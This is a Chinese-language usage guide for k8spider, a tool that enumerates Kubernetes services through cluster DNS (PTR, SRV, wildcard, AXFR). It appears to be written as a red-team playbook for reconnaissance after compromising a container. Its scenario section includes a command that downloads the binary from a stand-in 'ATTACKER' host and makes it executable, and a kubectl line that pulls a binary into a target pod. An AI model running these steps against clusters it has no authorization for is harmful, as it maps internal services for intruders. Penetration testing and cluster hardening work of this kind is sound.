wgpsec/k8spider

K8Spider — Kubernetes DNS 服务发现

k8spider 是一个基于 DNS 的 K8s 服务发现工具——只需能访问集群 DNS，即可低权限枚举所有 Service。无需 API Server Token，无需特殊权限，纯 DNS 查询搞定。

项目地址：https://github.com/Esonhugh/k8spider

第一步：直接运行（使用默认参数）

k8spider 会从 /etc/resolv.conf 自动读取 DNS 服务器地址，使用内置默认 CIDR。先直接跑：

k8spider all

如果有输出，说明默认参数命中了，直接进入分析环节。

第二步：默认参数无结果时，手动收集网络信息

如果 k8spider all 没有发现任何信息，说明默认 CIDR 或 DNS 不对，需要从当前机器收集真实参数。

确定目标 CIDR（-c 参数）

CIDR 网段需要从当前容器的网络配置中提取：

# 方式 1：从环境变量获取（K8s 注入）
echo $KUBERNETES_SERVICE_HOST
# 返回的 IP 所在网段通常就是 Service CIDR 范围

# 方式 2：从 IP 地址推断
ip addr show  # 或 ifconfig
# 找到容器自身 IP 和掩码，推断所在网段

# 方式 3：从路由表推断
ip route
# 查看路由信息，推断集群网段范围

Pod 网段和 Service 网段通常是相邻的 /16，可从容器自身 IP 推断 Service CIDR 的可能范围。

确定并验证 DNS 服务器（-d 参数）

DNS 地址必须通过可靠方式找到并验证可用：

# 方式 1：从 resolv.conf 读取（最可靠）
cat /etc/resolv.conf
# nameserver 行就是集群 DNS 地址

# 方式 2：用 k8spider 自带命令定位
k8spider whereisdns

# 验证 DNS 是否可达且响应
nslookup kubernetes.default.svc.cluster.local <DNS_IP>
# 或
dig @<DNS_IP> kubernetes.default.svc.cluster.local
# 有正常应答说明 DNS 可用

验证通过后再指定 DNS 运行：

k8spider all -d <DNS_IP> -c <CIDR>

核心命令

全量扫描（推荐首选）

一键跑完所有发现方式，获取最全面的服务列表：

# 先用默认参数试
k8spider all

# 默认不生效时，用手动收集的参数
k8spider all -c <CIDR> -d <DNS_IP>

# 输出示例：
# [PTR] 10.43.0.10 -> dns-default.kube-system.svc.cluster.local
# [PTR] 10.43.0.1 -> kube-dns.kube-system.svc.cluster.local
# [SRV] _http._tcp.kubernetes.default.svc.cluster.local -> 10.43.0.1:443

PTR 记录扫描（反向 DNS）

通过 IP 反查域名，逐 IP 扫描网段：

k8spider ptr -c <CIDR>

PTR 扫描的逻辑：对 CIDR 中每个 IP 发起反向 DNS 查询，K8s DNS 会返回 svc-name.namespace.svc.cluster.local 格式的域名，直接暴露服务名和命名空间。

SRV 记录枚举

查询 DNS SRV 记录发现服务端口：

k8spider srv -c <CIDR> -z cluster.local

通配符 DNS 查询

利用 K8s DNS 的通配符解析特性发现服务：

k8spider wild -c <CIDR> -z cluster.local

AXFR 区域传输

尝试 DNS 区域传输，一次获取整个 zone 的所有记录：

k8spider axfr -z cluster.local -d <DNS_IP>

注意：AXFR 通常被限制，但值得一试——如果成功，这是最快最全的方式。

同网段扫描

发现 DNS 服务所在子网的服务：

k8spider neighbor -d <DNS_IP>

子网计算与扫描

自动计算 DNS 服务所在子网并扫描：

k8spider subnet -d <DNS_IP>

kube-state-metrics 解析

从 kube-state-metrics 端点提取服务信息：

k8spider metrics

全局选项

| 选项 | 说明 | 默认值 | |------|------|--------| | -c | 目标 CIDR 网段 | 内置默认值，视环境而定 | | -z | DNS zone 名称 | cluster.local | | -d | DNS 服务器地址 | 从 resolv.conf 读取 | | -t | 启用多线程 | 关闭 | | -n | 线程数 | 10 |

使用场景

场景 1：Pod 内使用（已拿到容器 shell）

# 投递二进制到容器
curl -o /tmp/k8spider https://ATTACKER/k8spider && chmod +x /tmp/k8spider

# 直接用默认参数跑
/tmp/k8spider all

# 没结果再收集网络信息手动指定

场景 2：通过 kubectl 使用

# 在现有 Pod 中执行
kubectl exec -it target-pod -- ./k8spider all

# 或创建临时 Pod
kubectl run k8spider --image=busybox --restart=Never -- \
  wget -O /tmp/k8spider URL && /tmp/k8spider all

场景 3：远程使用（需 DNS 可达）

# 必须手动指定 -d 和 -c，远程环境下默认参数基本不适用
k8spider all -c <CIDR> -d <DNS_IP> -z cluster.local

决策树

进入容器后：
├─ 第一步：k8spider all（直接用默认参数跑）
├─ 有结果 → 分析输出，拿到服务列表
├─ 无结果 → 收集网络信息
│   ├─ 获取 CIDR：从 ip addr / ifconfig / 环境变量推断
│   ├─ 获取 DNS：cat /etc/resolv.conf 或 k8spider whereisdns
│   └─ 验证 DNS：nslookup kubernetes.default.svc.cluster.local <DNS_IP>
├─ 用收集到的参数重跑：k8spider all -c <CIDR> -d <DNS_IP>
├─ 想要端口信息 → k8spider srv
├─ 赌一把全量 → k8spider axfr
├─ 想快速发现 → k8spider neighbor / k8spider subnet
├─ 有 metrics 端点 → k8spider metrics
└─ 网段大、速度慢 → 加 -t -n 50 开多线程